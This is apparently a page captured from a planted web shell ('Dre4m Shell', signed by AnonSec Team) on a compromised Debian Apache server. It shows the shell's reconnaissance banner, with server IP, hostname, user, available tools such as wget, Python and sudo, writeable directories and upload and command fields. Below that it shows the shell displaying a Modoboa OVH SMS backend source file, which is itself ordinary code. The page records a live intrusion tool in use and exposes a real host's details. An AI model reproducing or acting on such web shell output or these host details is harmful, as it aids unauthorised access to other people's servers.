Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 3.147.72.52
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/2/root/proc/2/root/proc/2/cwd/srv/modoboa/env/lib64/python3.5/site-packages/modoboa/core/sms_backends/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/2/root/proc/2/root/proc/2/cwd/srv/modoboa/env/lib64/python3.5/site-packages/modoboa/core/sms_backends/ovh.py
"""OVH SMS backend."""

import ovh

from django import forms
from django.utils.functional import cached_property
from django.utils.translation import ugettext_lazy as _

from . import SMSBackend


class OVHBackend(SMSBackend):
    """OVH SMS backend class."""

    settings = {
        "sms_ovh_endpoint": {
            "type": forms.ChoiceField,
            "attrs": {
                "label": _("API endpoint"),
                "initial": "ovh-eu",
                "choices": (
                    ("ovh-eu", _("OVH Europe")),
                    ("ovh-us", _("OVH US")),
                    ("ovh-ca", _("OVH North-America")),
                    ("soyoustart-eu", _("So you Start Europe")),
                    ("soyoustart-ca", _("So you Start North America")),
                    ("kimsufi-eu", _("Kimsufi Europe")),
                    ("kimsufi-ca", _("Kimsufi North America")),
                )
            }
        },
        "sms_ovh_application_key": {
            "type": forms.CharField,
            "attrs": {
                "label": _("Application key"),
                "required": False
            }
        },
        "sms_ovh_application_secret": {
            "type": forms.CharField,
            "attrs": {
                "label": _("Application secret"),
                "widget": forms.widgets.PasswordInput(render_value=True),
                "required": False
            }
        },
        "sms_ovh_consumer_key": {
            "type": forms.CharField,
            "attrs": {
                "label": _("Consumer key"),
                "widget": forms.widgets.PasswordInput(render_value=True),
                "required": False
            }
        }
    }

    visibility_rules = {
        "sms_ovh_endpoint": "sms_provider=ovh",
        "sms_ovh_application_key": "sms_provider=ovh",
        "sms_ovh_application_secret": "sms_provider=ovh",
        "sms_ovh_consumer_key": "sms_provider=ovh"
    }

    @cached_property
    def client(self):
        return ovh.Client(
            endpoint=self._params.get_value("sms_ovh_endpoint"),
            application_key=self._params.get_value("sms_ovh_application_key"),
            application_secret=self._params.get_value("sms_ovh_application_secret"),
            consumer_key=self._params.get_value("sms_ovh_consumer_key")
        )

    def send(self, text, recipients):
        """Send a new SMS to given recipients."""
        services = self.client.get("/sms")
        result = self.client.post(
            "/sms/{}/jobs".format(services[0]),
            message=text,
            receivers=recipients,
            priority="high",
            noStopClause=True,
            senderForResponse=True
        )
        if result["totalCreditsRemoved"] != len(recipients):
            return False
        return True

Anon7 - 2022
AnonSec Team